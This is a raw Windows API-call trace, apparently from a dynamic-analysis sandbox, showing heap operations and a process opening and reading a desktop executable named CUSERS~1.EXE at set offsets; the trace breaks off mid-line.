[0073.422] GetLastError () returned 0x0 [0073.422] GetLastError () returned 0x0 [0073.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb2040 | out: hHeap=0x2ad0000) returned 1 [0073.422] CloseHandle (hObject=0x1e8) returned 1 [0073.422] GetLastError () returned 0x0 [0073.422] GetCurrentThreadId () returned 0x9b0 [0073.422] GetLastError () returned 0x0 [0073.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2bb2040 [0073.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bb3c18 [0073.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2bb7c38 [0073.423] GetLastError () returned 0x0 [0073.423] GetCurrentThreadId () returned 0x9b0 [0073.423] GetLastError () returned 0x0 [0073.423] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb3c18, Size=0x8015) returned 0x2bbfc40 [0073.423] GetLastError () returned 0x0 [0073.423] GetCurrentThreadId () returned 0x9b0 [0073.423] GetLastError () returned 0x0 [0073.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb7c38 | out: hHeap=0x2ad0000) returned 1 [0073.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb2040 | out: hHeap=0x2ad0000) returned 1 [0073.423] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bbfc40, Size=0x61fc) returned 0x2bbfc40 [0073.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bafbf8 | out: hHeap=0x2ad0000) returned 1 [0073.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x29d) returned 0x2bafbf8 [0073.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x226) returned 0x2bafea0 [0073.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.423] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a17fe0, Size=0x20) returned 0x2a1fb78 [0073.423] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a191c0 [0073.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a191c0, Size=0x64) returned 0x2a19a48 [0073.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19a48, Size=0x8c) returned 0x2ac0dd0 [0073.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0dd0, Size=0xb8) returned 0x2ac1c78 [0073.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1c78, Size=0xe8) returned 0x2ac2980 [0073.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2980, Size=0x120) returned 0x2ba5be8 [0073.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5be8, Size=0x160) returned 0x2ba6be0 [0073.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba6be0, Size=0x1a8) returned 0x2ac90f8 [0073.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5a3) returned 0x2bb00d0 [0073.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x355) returned 0x2bb0680 [0073.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x358) returned 0x2bb09e0 [0073.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac90f8, Size=0x1f8) returned 0x2ba7760 [0073.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7760, Size=0x250) returned 0x2ac4bc8 [0073.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6b4) returned 0x2bb0d40 [0073.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x21e) returned 0x2bb1400 [0073.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4bc8, Size=0x2b4) returned 0x2ba8f48 [0073.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x296) returned 0x2bb1628 [0073.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2cc) returned 0x2bb18c8 [0073.425] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba8f48, Size=0x324) returned 0x2bac990 [0073.425] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bac990, Size=0x3a4) returned 0x2bb1ba0 [0073.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb1ba0 | out: hHeap=0x2ad0000) returned 1 [0073.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbfc40 | out: hHeap=0x2ad0000) returned 1 [0073.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9b10 [0073.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0073.425] GetCurrentThreadId () returned 0x9b0 [0073.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.425] GetCurrentThreadId () returned 0x9b0 [0073.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa87f0 [0073.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab9b10 | out: hHeap=0x2ad0000) returned 1 [0073.425] GetCurrentThreadId () returned 0x9b0 [0073.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.425] GetCurrentThreadId () returned 0x9b0 [0073.425] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71580, Size=0x74) returned 0x2ad1768 [0073.425] GetCurrentThreadId () returned 0x9b0 [0073.425] GetCurrentThreadId () returned 0x9b0 [0073.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.426] GetCurrentThreadId () returned 0x9b0 [0073.426] GetCurrentThreadId () returned 0x9b0 [0073.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.426] GetCurrentThreadId () returned 0x9b0 [0073.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab94f0 [0073.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa9400 [0073.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab94f0 | out: hHeap=0x2ad0000) returned 1 [0073.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.427] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a716e0 [0073.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aba130 [0073.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71660 [0073.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.427] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a71840 [0073.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b080 [0073.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.428] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b080, Size=0x14) returned 0x2a71580 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.428] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a718c0 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0073.428] GetCurrentThreadId () returned 0x9b0 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.428] GetCurrentThreadId () returned 0x9b0 [0073.428] GetCurrentThreadId () returned 0x9b0 [0073.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.428] GetCurrentThreadId () returned 0x9b0 [0073.428] GetCurrentThreadId () returned 0x9b0 [0073.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.428] GetCurrentThreadId () returned 0x9b0 [0073.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab94f0 [0073.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aab228 [0073.429] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab94f0 | out: hHeap=0x2ad0000) returned 1 [0073.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2bb1ba0 [0073.429] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aab228 | out: hHeap=0x2ad0000) returned 1 [0073.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.430] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a717a0 [0073.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b080 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.430] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b080, Size=0x14) returned 0x2a71660 [0073.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.430] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a71700 [0073.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0073.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc00) returned 0x2bb33a8 [0073.431] GetCurrentThreadId () returned 0x9b0 [0073.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.431] GetCurrentThreadId () returned 0x9b0 [0073.431] GetCurrentThreadId () returned 0x9b0 [0073.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.431] GetCurrentThreadId () returned 0x9b0 [0073.431] GetCurrentThreadId () returned 0x9b0 [0073.431] GetCurrentThreadId () returned 0x9b0 [0073.431] GetCurrentThreadId () returned 0x9b0 [0073.431] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.431] GetCurrentThreadId () returned 0x9b0 [0073.431] GetCurrentThreadId () returned 0x9b0 [0073.431] GetCurrentThreadId () returned 0x9b0 [0073.431] GetLastError () returned 0x0 [0073.431] GetLastError () returned 0x0 [0073.431] GetLastError () returned 0x0 [0073.431] GetLastError () returned 0x0 [0073.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1fef8 [0073.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.432] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b080 [0073.432] GetLastError () returned 0x0 [0073.432] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9218, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.432] GetFileType (hFile=0x1e8) returned 0x1 [0073.432] GetLastError () returned 0x0 [0073.432] GetCurrentThreadId () returned 0x9b0 [0073.432] GetLastError () returned 0x0 [0073.432] GetFileType (hFile=0x1e8) returned 0x1 [0073.432] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b9294 | out: lpFileInformation=0x9b9294) returned 1 [0073.432] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.432] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.432] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.432] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.432] FileTimeToLocalFileTime (in: lpFileTime=0x9b9298, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.432] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.432] GetLastError () returned 0x0 [0073.432] GetCurrentThreadId () returned 0x9b0 [0073.432] GetLastError () returned 0x0 [0073.433] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.433] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0073.433] GetLastError () returned 0x0 [0073.433] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7029998, lpDistanceToMoveHigh=0x9b9348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9348*=0) returned 0x6b44ee [0073.433] GetLastError () returned 0x0 [0073.433] GetCurrentThreadId () returned 0x9b0 [0073.433] GetLastError () returned 0x0 [0073.433] GetCurrentThreadId () returned 0x9b0 [0073.433] GetLastError () returned 0x0 [0073.433] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7876561, lpDistanceToMoveHigh=0x9b96e0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b96e0*=0) returned 0x782fd1 [0073.433] GetLastError () returned 0x0 [0073.433] GetCurrentThreadId () returned 0x9b0 [0073.433] GetLastError () returned 0x0 [0073.433] GetCurrentThreadId () returned 0x9b0 [0073.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4b2) returned 0x2bb3fb0 [0073.433] GetLastError () returned 0x0 [0073.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2bb4470 [0073.433] ReadFile (in: hFile=0x1e8, lpBuffer=0x2bb4470, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9694, lpOverlapped=0x0 | out: lpBuffer=0x2bb4470*, lpNumberOfBytesRead=0x9b9694*=0x1000, lpOverlapped=0x0) returned 1 [0073.434] GetLastError () returned 0x0 [0073.434] GetCurrentThreadId () returned 0x9b0 [0073.434] GetLastError () returned 0x0 [0073.434] GetCurrentThreadId () returned 0x9b0 [0073.434] GetLastError () returned 0x0 [0073.434] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b836c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b836c*=0) returned 0x783fd1 [0073.434] GetLastError () returned 0x0 [0073.434] GetCurrentThreadId () returned 0x9b0 [0073.434] GetLastError () returned 0x0 [0073.435] GetLastError () returned 0x0 [0073.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb4470 | out: hHeap=0x2ad0000) returned 1 [0073.435] CloseHandle (hObject=0x1e8) returned 1 [0073.435] GetLastError () returned 0x0 [0073.435] GetCurrentThreadId () returned 0x9b0 [0073.435] GetLastError () returned 0x0 [0073.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2bb4470 [0073.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bb6048 [0073.435] GetLastError () returned 0x0 [0073.435] GetCurrentThreadId () returned 0x9b0 [0073.435] GetLastError () returned 0x0 [0073.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb4470 | out: hHeap=0x2ad0000) returned 1 [0073.435] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb6048, Size=0x81c) returned 0x2bb6048 [0073.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb3fb0 | out: hHeap=0x2ad0000) returned 1 [0073.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.435] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a17fe0, Size=0x20) returned 0x2a1fba0 [0073.435] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fba0, Size=0x40) returned 0x2a19250 [0073.435] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a199d8 [0073.435] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a199d8, Size=0x8c) returned 0x2ac01f0 [0073.435] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac01f0, Size=0xb8) returned 0x2ac12b8 [0073.435] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac12b8, Size=0xe8) returned 0x2ac25c0 [0073.435] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac25c0, Size=0x120) returned 0x2ba5058 [0073.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba5058 | out: hHeap=0x2ad0000) returned 1 [0073.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb6048 | out: hHeap=0x2ad0000) returned 1 [0073.435] GetCurrentThreadId () returned 0x9b0 [0073.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9800 [0073.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7c) returned 0x2b21d08 [0073.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2acea78 [0073.436] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x2bb3fb0 [0073.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acea78 | out: hHeap=0x2ad0000) returned 1 [0073.436] GetCurrentThreadId () returned 0x9b0 [0073.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.436] HeapFree (in: hHeap=0x2ad0000, 